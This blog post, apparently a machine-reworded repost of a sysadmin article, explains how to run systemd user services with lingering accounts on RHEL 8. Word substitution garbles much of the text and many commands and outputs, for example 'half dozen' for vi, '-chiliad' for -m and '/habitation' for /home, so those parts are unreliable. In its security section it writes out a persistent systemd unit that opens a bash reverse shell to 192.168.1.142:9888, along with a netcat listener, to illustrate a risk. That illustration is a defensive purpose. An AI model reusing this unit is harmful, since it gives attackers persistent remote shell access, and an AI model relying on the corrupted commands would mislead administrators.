Can A User Own A Systemd Service
Since information technology's initial release in 2010, systemd has found it'southward way into the majority of Linux distributions and introduced a standard way of configuring and managing services. RHEL 8 includes systemd version 239 and introduced many new features such as:
- Unprivileged unit files
- Dynamic users
- Improvements to systemctl and journalctl
- Resources direction with cgroup v2
The to a higher place features are all well and fine, especially if you are system administrator and managing these services in large, enterprise environments. However, how can you give some of these powerful tools to your users without resorting to bespoke sudo rules? User services!
What are user services?
systemd offers users the power to manage services under the user'due south control with a per-user systemd instance, enabling users to start, stop, enable, and disable their own units.
https://wiki.archlinux.org/index.php/Systemd/User
The problem
A software package from a vendor volition typically come in the grade of a tarball or RPM with the expectation that the service will be installed and run every bit the root user. Historically, information technology would accept installed some control scripts into /etc/init.d
or /usr/lib/systemd/system
and a corresponding set of configuration files, perhaps somewhere nether /etc or /opt. As the administrator of the server, you lot will typically need to come up with some sudo rules to let the packet to managed, the configuration to be set and the service to controlled. You may finish up with something like this in /etc/sudoers
:
Cmnd_Alias APP_CMDS = /usr/bin/systemctl start app_service, /usr/bin/systemctl stop app_service, /usr/bin/systemctl enable app_service, /usr/bin/systemctl disable app_service unprivileged_user ALL=(ALL) NOPASSWD: APP_CMDS unpriveleged_user ALL = NOPASSWD: sudoedit /etc/app.conf, sudoedit /etc/systemd/system/app.d/app.conf
The problem with this solution is that it does not scale: every application will accept a unlike name, unlike configuration files and different requirements.
What we want
We want to give our users the power to run and manage their own services. If nosotros trust a user to login to the server (and we accept good policies controlling this!) and then we should allow them run the services they demand and not become in their way.
The solution
We create an application account which volition run the awarding, and we'll enable the 'linger' functionality so that the account can employ systemd services without being logged in:
[root@rhel8 ] useradd -d /home/myapp -m -s /bin/bash -c "My application business relationship" myapp [root@rhel8 ] loginctl enable-linger myapp
Optionally, prepare a password or a sudo rule to allow a user to access this account. Only that'south it. Assuming we have enough space under /habitation/myapp for the application, that'due south all the setup we need.
Creating the user system service
Every bit the 'myapp' account we can create a systemd user service directly. (Note, it may be possible to create a new unit file with systemctl --user edit --forcefulness myapp.service
, just I found this syntax only created the drop-in file, not the service file). Let'south create the service manually:
[myapp@rhel8 ~]$ mkdir -p ~/.config/systemd/user/ [myapp@rhel8 ~]$ half dozen ~/.config/systemd/user/myapp.service
In the editor you tin can now create a systemd unit file. Yous can take a await at the installed files in /usr/lib/systemd/system
or perhaps you lot take an existing awarding that already documents it's requirements. As an case, let's create a dummy web service that listens on port 8080.
[Unit of measurement] Description=My demo application [Service] ExecStart=/usr/bin/python3 -m http.server 8080 WorkingDirectory=/habitation/myapp/html
And permit's create some content so that we can exam this works
[myapp@rhel8 ~]$ mkdir /dwelling house/myapp/html [myapp@rhel8 ~]$ echo "How-do-you-do World" > /home/myapp/html/index.html
By default the demo application tin't be seen by systemd:
[myapp@rhel8 ~]$ systemctl --user status myapp.service Unit myapp.service could not exist found.
You lot'll get-go need to reload systemd so that it tin pick up the unit file.
[myapp@rhel8 ~]$ systemctl --user daemon-reload [myapp@rhel8 ~]$ systemctl --user status myapp.service ● myapp.service - My demo application Loaded: loaded (/habitation/myapp/.config/systemd/user/myapp.service; static; vendor preset: enabled) Agile: inactive (dead)
The service is disabled by default but let's try to start it.
[myapp@guest01 ~]$ systemctl --user start myapp.service [myapp@guest01 ~]$ systemctl --user status myapp.service ● myapp.service - My demo application Loaded: loaded (/dwelling/myapp/.config/systemd/user/myapp.service; static; vendor preset: enabled) Active: active (running) since Tue 2020-05-26 12:28:04 BST; 1s ago Principal PID: 1169 (python3) CGroup: /user.piece/user-1001.slice/user@1001.service/myapp.service └─1169 /usr/bin/python3 -chiliad http.server 8080
Navigate to the host on port 8080 and you should see your hello globe:
Starting the service at boot time
Like any systemd service, you can configure your application to start at boot time, provided you take the right entries in your unit file. My demo application was missing the required definitions, so let'southward see what happens when I try to enable it.
[myapp@rhel8 ~]$ systemctl --user enable myapp.service The unit files accept no installation config (WantedBy, RequiredBy, Also, Allonym settings in the [Install] section, and DefaultInstance for template units). This ways they are non meant to be enabled using systemctl. Possible reasons for having this kind of units are: ane) A unit may exist statically enabled by being symlinked from another unit's .wants/ or .requires/ directory. 2) A unit'southward purpose may exist to human action as a helper for another unit which has a requirement dependency on it. iii) A unit may exist started when needed via activation (socket, path, timer, D-Omnibus, udev, scripted systemctl call, ...). four) In case of template units, the unit is meant to be enabled with some instance name specified.
Here we run across that I neglected to include a "Install" stanza in my unit file. I can either edit /home/myapp/.config/systemd/user/myapp.service
or I tin include a local override. Rather than edit the myapp.service file, let's utilize the systemctl edit
office to demonstrate creating an override or driblet-in:
[myapp@rhel8 ~]$ systemctl --user edit myapp.service
An editor will appear and we can insert the following:
[Install] WantedBy=default.target
Now, nosotros can enable the service:
[myapp@rhel8 ~]$ systemctl enable --user myapp Created symlink /home/myapp/.config/systemd/user/default.target.wants/myapp.service → /habitation/myapp/.config/systemd/user/myapp.service. [myapp@rhel8 ~]$ systemctl status --user myapp ● myapp.service - My demo awarding Loaded: loaded (/home/myapp/.config/systemd/user/myapp.service; enabled; vendor preset: enabled) Drib-In: /habitation/myapp/.config/systemd/user/myapp.service.d └─override.conf Active: active (running) since Tue 2020-05-26 12:28:04 BST; 8min ago Master PID: 1169 (python3) CGroup: /user.slice/user-1001.slice/user@1001.service/myapp.service └─1169 /usr/bin/python3 -thousand http.server 8080
Note that a number of things have happened here.
- A symlink is created within my application account area
/home/myapp/.config/systemd/user/default.target.wants
pointing at myapp.service - A Drop-In override is created in
/habitation/myapp/.config/systemd/user/myapp.service.d/override.conf
- If the server is rebooted, the application will beginning at boot
- We don't demand to include .service suffix in the
systemctl enable
command, systemd defaults to service contol
Handling errors
The very nice part of systemd is that y'all tin decide what should happen when a service fails. Perhaps there is a the risk of data loss and then yous desire a service to terminate and look for manual intervention for recovery. Or perhaps there was a temporary network glitch and you desire the application to restart. As with the Operating System services you tin can include directives as to what should happen on mistake events. For example, calculation these lines to the Service stanza means that the application attempts to restart every 60 seconds should it fail.
Restart=always RestartSec=threescore
Out of the box bonus
Using systemd user services nosotros've now got access to tools such as systemd-analyze security
:
[myapp@rhel8 ~] systemd-clarify --user security myapp.service
Nosotros tin see that our proof of concept is very insecure, but we can also see ways to fix it. For example, it flags that the "Service has access to other software's temporary files" and the set up is to ready the PrivateTmp variable. So we'd fix this past adjusting the service file so it reads:
[Unit] Description=My demo awarding [Service] ExecStart=/usr/bin/python3 -m http.server 8080 WorkingDirectory=/dwelling house/myapp/html PrivateTmp=1
Checking the status, we encounter that we need to reload the daemon following our edit:
[myapp@rhel8 ~] systemctl --user status myapp.service Warning: The unit file, source configuration file or drib-ins of myapp.service changed on disk. Run 'systemctl --user daemon-reload' to reload units. ● myapp.service - My demo application Loaded: loaded (/dwelling house/myapp/.config/systemd/user/myapp.service; enabled; vendor preset: enabled) Drop-In: /home/myapp/.config/systemd/user/myapp.service.d └─override.conf Agile: agile (running) since Tue 2020-05-26 12:41:sixteen BST; 20min ago Main PID: 949 (python3) CGroup: /user.piece/user-1001.slice/user@1001.service/myapp.service └─949 /usr/bin/python3 -1000 http.server 8080
Let'southward reload systemd:
[myapp@rhel8 ~] systemctl --user daemon-reload [myapp@rhel8 ~] systemctl --user status myapp.service ● myapp.service - My demo application Loaded: loaded (/home/myapp/.config/systemd/user/myapp.service; enabled; vendor preset: enabled) Drib-In: /home/myapp/.config/systemd/user/myapp.service.d └─override.conf Active: active (running) since Tue 2020-05-26 12:41:16 BST; 21min ago Main PID: 949 (python3) CGroup: /user.piece/user-1001.slice/user@1001.service/myapp.service └─949 /usr/bin/python3 -m http.server 8080
Not that the service remains active, simply the security report will at present show the service is using a private temporary expanse. (Question: should the application have restarted?)
Security
All of the in a higher place assumes that access to your application account is controlled. Notwithstanding, what if an application is insecure and information technology's somehow possible for an assailant to write to the filesystem as that account? Well, if they can indeed practice that, it's possible to see that they might install a malicious service such as a reverse SSH shell. Here's what this might wait like:
[myapp@rhel8 ~] true cat /home/myapp/.config/systemd/user/malicious.service [Unit] Description=Malicious service [Service] ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.142/9888 0>&1' Restart=always RestartSec=60 [Install] WantedBy=default.target
The 'restart' feature of systemd volition mean that the shell continuously tries to achieve out to the attacker at 192.168.1.142 on port 9888. And worst of all, this blazon of attack will persist through reboots (remember, nosotros normally want legitimate services to start on boot!). All the user on 192.168.1.142 needs to practise is run nc -l -five 192.168.1.142 9888
and a remote crush will be opened up with access to the myapp account. For farther communication on mitigating reverse shells, take a expect at Understanding Opposite Shells. Consider using a local firewall rules that prevents new outbound connections from beingness made to unknown destinations.
Don't let the to a higher place dissuade you from using user services. A vulnerable application is always a take a chance, and any user that has access to a server might be able to manually first reverse shells. Local security policy, sensible firewall controls and monitoring of your surround mitigates against this.
Useful links
You lot may find you are not able to control a systemd user service if you log into the server every bit one user, so switch to another account via 'sudo'. If then, take a read through How to execute "systemctl –user" as a dissimilar user.
Privileged users such every bit root (or those in the bicycle group) are unable to manage systemd user instances directly. An RFE has been raised for this, see:
- Bugzilla 1795555 – Provide a mode for privileged users to interact with systemd user instances
- systemctl -M user@.host VERB should work
Similarly, if you lot desire to control user services through Cockpit, y'all'll need to wait the following RFE:
- Problems 1792270 – [RFE] Display "User Services" tab in Services panel
- list user services
Summary
systemd user services are really crawly! They allow users to take advantage of the benefits of systemd and command how their applications are run. An application squad tin define dependencies and startup ordering using their own user accounts without fearfulness of impacting the O/S organization services. Information technology can aid loosen the friction between support teams and permit applications to be written, deployed and managed without requiring root access.
Can A User Own A Systemd Service,
Source: https://www.unixsysadmin.com/systemd-user-services/
Posted by: popehambsood.blogspot.com
0 Response to "Can A User Own A Systemd Service"
Post a Comment